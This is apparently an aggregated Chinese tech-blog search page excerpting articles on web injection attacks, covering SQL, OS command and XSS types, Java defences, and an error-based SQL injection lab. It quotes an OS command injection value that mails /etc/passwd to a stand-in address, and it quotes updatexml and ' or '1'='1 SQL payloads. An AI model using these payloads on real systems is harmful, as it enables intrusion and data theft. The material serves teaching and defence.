精华内容
下载资源
问答
  • 简析web注入攻击

    2019-05-21 14:35:02
    注入攻击是众多攻击之一,在注入攻击中,攻击者给程序提供恶意的输入,解析引擎把恶意输入作为命令或者查询的一部分,顺带着改变了程序执行的流程。 注入是web程序最古老的和最危险的攻击之一,它们能导致数据被偷,...

    注入攻击是众多攻击之一,在注入攻击中,攻击者给程序提供恶意的输入,解析引擎把恶意输入作为命令或者查询的一部分,顺带着改变了程序执行的流程。

    注入是web程序最古老的和最危险的攻击之一,它们能导致数据被偷,数据丢失,数据完整性丢失,dos ,甚至系统沦丧。主要产生原因是对用户输入验证不足。

    这种攻击方式是web安全的主要问题之一,在OWASP Top 10 web安全风险列表中排行第一。注入攻击,尤其是SQL注入(SQLi攻击) 和跨站(xss),它们不仅危险并且普遍,特别是遗留在程序里面。

    攻击面比较大的(特别是xss和Sql注入漏洞)注入漏洞尤其可怕。此外,注入攻击是漏洞中非常好理解的一种,这就意味着有许多免费提供和可靠的工具容许甚至一些没有经验的攻击者自动化的乱用这些漏洞。

    SQL注入(SQLi)和跨站(xss)是许多常用注入攻击之一,下面列出常用攻击类型

    第一种 代码注入

    攻击者通过网站类型注入相应的代码,这个代码以当前网站用户的权限执行系统命令,在高级事件中,攻击者可能溢出来提权导致真个 web服务器的沦丧.

    第二种 CRLF注入

    攻击者注入一个特殊的CRLF字符,这个字符被用来区分http回复头和正文,导致可以写任意正文内容,这种攻击一般和xss结合使用。

    第三种 XSS

    攻击者注入任意脚本(一般是javascript)到合法网站或者web程序中,这个脚本执行在客户端

    第四种 Email头注入

    这种攻击和CRLF攻击很相似,攻击者发送恶意的IMAP/SMTP 命令

    第五种 Host头注入

    攻击者乱用HTTP Host头的绝对信任来篡改密码重设功能和web缓存

    第六种 LDAP 注入

    攻击者注入LDAP语句来执行任意 LDAP命令,获得修改LDAP树的内容的权利

    第七种 OS命令注入

    攻击者用当前web应用程序的权限来注入系统命令,在高级案例中,攻击者通过溢出获得权限提升导致系统沦丧

    第八种 SQL 注入

    攻击者注入sql语句来读取和修改数据 库数据,在高级sql注入案例中,攻击者能执行sql语句写服务器上的任意文件和甚至执行系统命令,这会导致系统沦丧

    第九种 XPath 注入

    攻击者注入数据到应用程序中来执行精心准备的XPath查询,以此来获得无授权访问和bypass授权

    展开全文
  • 架设web服务器,进行注入攻击 web服务器 sql注入攻击
  • Web服务的XML注入攻击检测
  • 用Java Web防范SQL注入攻击.pdf
  • OS命令注入攻击是指通过Web应用,执行非法的操作系统命令达到攻击的目的OS注入攻击案例:以表单的发送功能为例,该功能可将用户的邮件按已填写的对方邮箱地址放过去。 攻击者将下面的值指定作为邮件地址: ; cat /...

    OS命令注入攻击是指通过Web应用,执行非法的操作系统命令达到攻击的目的

    OS注入攻击案例:以表单的发送功能为例,该功能可将用户的邮件按已填写的对方邮箱地址放过去。

    这里写图片描述

    • 攻击者将下面的值指定作为邮件地址:
    • ; cat /etc/passwd | mail hack@example.jp
    • 程序接收该值,构成以下的命令组合:
    • “| /usr/sbin/sendmail ; cat /etc/passwd | mail hack@example.jp”
    • 攻击者的输入值中分号(;)。这个符号在OS命令中,会被解析为分割多个执行命令的标记。sendmail命令执行完就会执行下面的命令,结果/etc/passwd的文件,就以邮件的形式发送给了
      hack@example.jp
    展开全文
  • Web应用中SQL注入攻击与对策.pdf
  • 由于SQL注入攻击针对的是应用开发过程中的编程不严密,因而对于绝大多数防火墙来说,这种攻击是“合法”的。问题的解决只有依赖于完善编程。专门针对SQL注入攻击的工具较少,Wpoison对于用asp,php进行的开发有一定...
  • 基于SQL注入攻击Web结构分析.pdf
  • Web应用中SQL注入攻击与防范探析.pdf
  • Web服务的SQL注入攻击及防御研究.pdf
  • 基于Web服务器的SQL注入攻击防御研究.pdf
  • Web安全原理剖析(四)——报错注入攻击

    万次阅读 多人点赞 2021-09-10 14:10:02
    目录1.8 报错注入攻击1.9 报错注入代码分析 1.8 报错注入攻击   报错注入攻击的测试地址:http://127.0.0.1/sqli/error.php?username=1。   访问该网址时,页面返回ok,如图28所示。 图28 访问username=1时...


    1.8 报错注入攻击

      报错注入攻击的测试地址:http://127.0.0.1/sqli/error.php?username=1。

      访问该网址时,页面返回ok,如图28所示。


    图28 访问username=1时页面的的结果

      访问http://127.0.0.1/sqli/error.php?username=1’,因为参数username的值是1’,在数据库中执行SQL时,会因为多了一个单引号而报错,输出到页面的结果如图29所示。


    图29 访问username=1'时页面的的结果

      通过页面返回结果可以看出,程序直接将错误信息输入到了页面上,所以此处可以利用报错注入获取数据。报错注入有多种格式,此处利用函数updatexml()延时SQL语句获取user()的值,SQL语句如下所示。

    ' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
    

    Updatexml()函数:Updatexml(xml_target,xpath_expr,new_xml)

    • xml_target:需要操作的xml片段
    • xpath_expr:需要更新的xml路径(Xpath格式)
    • new_xml:更新后的内容

      其中0x7e是ASCII编码,解码结果为~,如图30所示。


    图30 利用updatexml获取user()

      然后尝试获取当前数据库的库名,如图31所示,语句如下所示。

    ' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
    

    图31 利用updatexml获取database()

      接着可以利用select语句继续获取数据库中的库名、表名和字段名,查询语句与Union注入的相同。因为报错注入只显示一条结果,所以需要使用limit语句。构造的语句如下所示。

    ' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+
    

      结果如图32所示,以此类推,可以获取所有数据库的库名。


    图32 利用报错注入获取数据库名

      如图33所示,构造查询表的语句,如下所示,可以获取数据库test的表名。

    ' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test' limit 0,1),0x7e),1)--+
    

    图33 利用报错注入获取数据库表名

    1.9 报错注入代码分析

      在报错注入页面中,程序获取GET参数username后,将username拼接到SQL语句中,然后到数据库查询。如果执行成功,技术处ok;如果出错,则通过echo mysqli_error(@&con)将错误信息输出到页面(mysqli_error返回上一个MySQL函数的错误),代码如下所示。

    <?php
    $con=mysqli_connect("localhost","root","root","test");
    // 检测连接
    if (mysqli_connect_errno())
    {
        echo "连接失败: " . mysqli_connect_error();
    }
    
    $username = @$_GET['username'];
    $sql = "select * from users where `username`='".$username."'";
    
    if($result = mysqli_query($con,$sql))
    {
        echo "ok";
    }
    else
    {
        echo mysqli_error($con);
    }
    
    ?>
    

      输入username=1’时,SQL语句为select *from users where `username`=‘1’。执行时,会因为多了一个单引号而报错。利用这种错误回显,我们可以通过floor()、updatexml()等函数将要查询的内容输出到页面上。


    展开全文
  • Web中SQL注入攻击研究与防范措施的探讨.pdf
  • Web环境下SQL注入攻击的检测与防御.pdf
  • Web环境下SQL注入攻击及防范措施研究.pdf
  • WEB应用的SQL注入攻击和防范技术研究.pdf
  • Web页面中SQL注入攻击过程及防御措施.pdf
  • Java Web 防范 SQL 注入攻击

    千次阅读 2015-08-18 17:50:53
    随着 Ineternet 技术的迅猛发展,为了能更充分地使用互联网这个世界上最大的交流平台 ,许多单位或个人纷纷建立自己的网站。 但是网络为企业提供了新的机遇,但是同时它... 而 SQL 注入就是众 多风险中较为常见的一种。

    1、SQL注入概述:

      SQL 注入是从正常的 WWW 端口访问,而且表面看起来跟一般的 Web 页面访问没什么区别,所以目前市面的防火墙都不会对 SQL 注入发出警报,如果管理员没查看日志的习惯,可能被入侵很长时间都不会发觉。
      其实 SQL 注入主要还是一些程序员的水平及经验参差不齐,没有对用户输入数据的合法性进行判断。 使应用程序存在安全隐患,任何用户可以提交一段数据库查询代码,并根据程序返回的结果,获得某些他想得知的数据,造成用户可以在输入中包含恶意代码篡改程序功能。更严重的用户还可能窃取最高管理权限,删除数据库中所有的数据。

    2、SQL注入原理:

    2.1 没有过滤,或没有正确过滤转义字符:

    首先来看一个Sql语句:

    String sql = "SELECT * FROM USERINFO WHERE NAME = '+" NAME "+'";
    Class.forName("oracle.jdbc.driver.OracleDriver");
    Connection con = DriverManager.getConnection(dbUrl,dbUserName,dbPassword);
    Statement state =con.createStatement();
    ResultSet resultSet = state.executeQuery(sql);
    

    这里我们直接使用用户传递过来的 name 变量拼接了一条SQL 语句进行查询。 我们乐观地认为用户输入的都是正常的字符串,没有考虑到恶意攻击的情况。 但是如果用户输入了这样一段内容:String name = ” xxx’or’1’=’1”
    那么 ,经过拼接得到的 SQL 就变成了这样。String sql = “SELECT * FROM USERINFO WHERE NAME = ‘xxx’or’1’=’1’”,将会查询得到所用的用户信息。

    String name = ” xxx’or’1’=’1’;DROPTABLE USERINFO” 而sql语句如果变成这样,那么String sql = ”select * from USERINFO where name =’xxx’ or ‘1’ =’1’;DROPTABLE USERINFO “将会清掉整个表的记录。那么后果可想而知。

    2.2、数据库服务器中的漏洞:
    许多程序员认为, jsp 结合 mysql 是一个不错的选择,其主要原因是这两种技术都可以找到免费的载体。 但是有时,数据库服务器软件中也存在着漏洞 。 如 MYSQL 服务器中DATABASE () 、 USER () 、 SYSTEM_USER () 、 SESSION_US -ER ()、 CURRENT_USER () 等函数漏洞。 这种漏洞允许一个攻击者根据错误的统一字符编码执行一次成功的 SQL 注入式攻击。

    2.3、盲目 SQL 注入式攻击:
    当一个 Web 应用程序易于遭受攻击而其结果对攻击者却不见时,就会发生所谓的盲目 SQL 注入式攻击。 有漏洞的网页会根据注入到合法语句中的逻辑语句的结果显示不同的内容。 这种攻击相当耗时,因为必须为每一个获得的字节而精心构造一个新的语句。通过一次次的分析得到的这些结果获取想要的信息。

    3 Java Web 下的解决方法:
    3.1、利用 Javascript,在客户端进行校验:
    通过以上分析我们看到,对于 SQL 注入其实就是利用一些特殊符号实现对数据库的操作。 所以可以利用 JavaScript 对输入的字符进行过滤。
    例如:/select|update|delete|exec|count|’|” |=|;|>|<|%/i一些特殊字符和 SQL 关键字。

    3.2、在后台,进行程序判定:
    但是 JavaScript 有其自身的一些缺陷,因为它是运行在浏览器客户端的一种技术 。 当这个网页保存下来,进行修改页面以跳过这些过虑提交后, JavaScript 就失去作用了 。 所以最好在后台也对这些字符串进行处理 。有良好的编程习惯:

    比如判断用户名和密码的时候不要只用:select * from user where username = ? and password =?,然后判断 select 出的结果为 size>0 。 这个方法容易被注入 。

    应该用:select password from user where username = ? ,然后用select 出来的 password 和他提交上来的 password 对比一下是否一致 。 所以,如果要预防注入, 就必须要整体设计 、 养成良编程习惯。

    3.3、使用 PreparedStatement 连接数据库:
    为了解决这个问题,我们可以使用 PreparedStatement 。首先在创建 PreparedStatement 的时候会对sql 进行一次了处理,然后传递参数的时候,没有直接把参数拼接到sql里,采用占位符并且参数中有什么特殊字符, PreparedStatement 也会帮助自动转换 。总之,在使用PreparedStatement 执行查询的时候已经对sql进行了严格的处理,可以防止sql注入。

    3.4、利用框架:
    当今在 Java Web 领域,比较流行的是使用诸如 Spring、hibernate 等框架来防范风险 。

    展开全文
  • Web安全开发:SQL注入攻击和网页挂马.pdf
  • 浅析Web应用程序中SQL注入攻击与防御.pdf
  • Web应用的安全攻防之SQL注入攻击(SQL Injection)Web应用的安全攻防之SQL注入攻击(SQL Injection)
  • 2.1 时间注入攻击   时间注入攻击的测试地址:http://127.0.0.1/sqli/time.php?id=1.   访问该网站时,页面返回yes,在网址的后面加上一个单引号,再次访问,页面返回no。这个结果与Boolean注入非常相似,这里...
  • 基于高校Web应用中SQL注入攻击与防范研究.pdf
  • 基于Web应用的SQL注入攻击和防御技术研究.pdf
  • Web银行系统中的SQL注入攻击及防范.pdf
  • 目录2.9 cookie注入攻击2.10 cookie注入代码分析 2.9 cookie注入攻击   cookie注入攻击的测试地址:http://127.0.0.1/sqli/cookie.php。   发现URL中没有GET参数,但是页面返回正常,使用Burp Suite抓取数据包...
  • Web攻防系列教程之浅析PHP命令注入攻击
  • Web应用中的SQL注入攻击与防护方案研究.pdf
  • Web安全原理剖析(二)——Union注入攻击

    万次阅读 多人点赞 2021-09-04 23:07:41
    目录1.4 Union注入攻击1.5 Union注入代码分析 1.4 Union注入攻击   Union注入攻击的测试地址:http://127.0.0.1/sqli/union.php?di=1。   访问该网址时,页面返回的结果如图6所示。 图6 访问id=1时页面的...
  • Web安全原理剖析(七)——二次注入攻击

    万次阅读 热门讨论 2021-09-22 17:36:23
    目录2.5 二次注入攻击2.6 二次注入代码分析 2.5 二次注入攻击   二次注入攻击的测试地址:http://127.0.0.1/sqli/double1.php?username=test 和 http://127.0.0.1/sqli/double2.php?id=1。 其中,double1.php页面...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 61,189
精华内容 24,475
关键字:

web注入攻击方法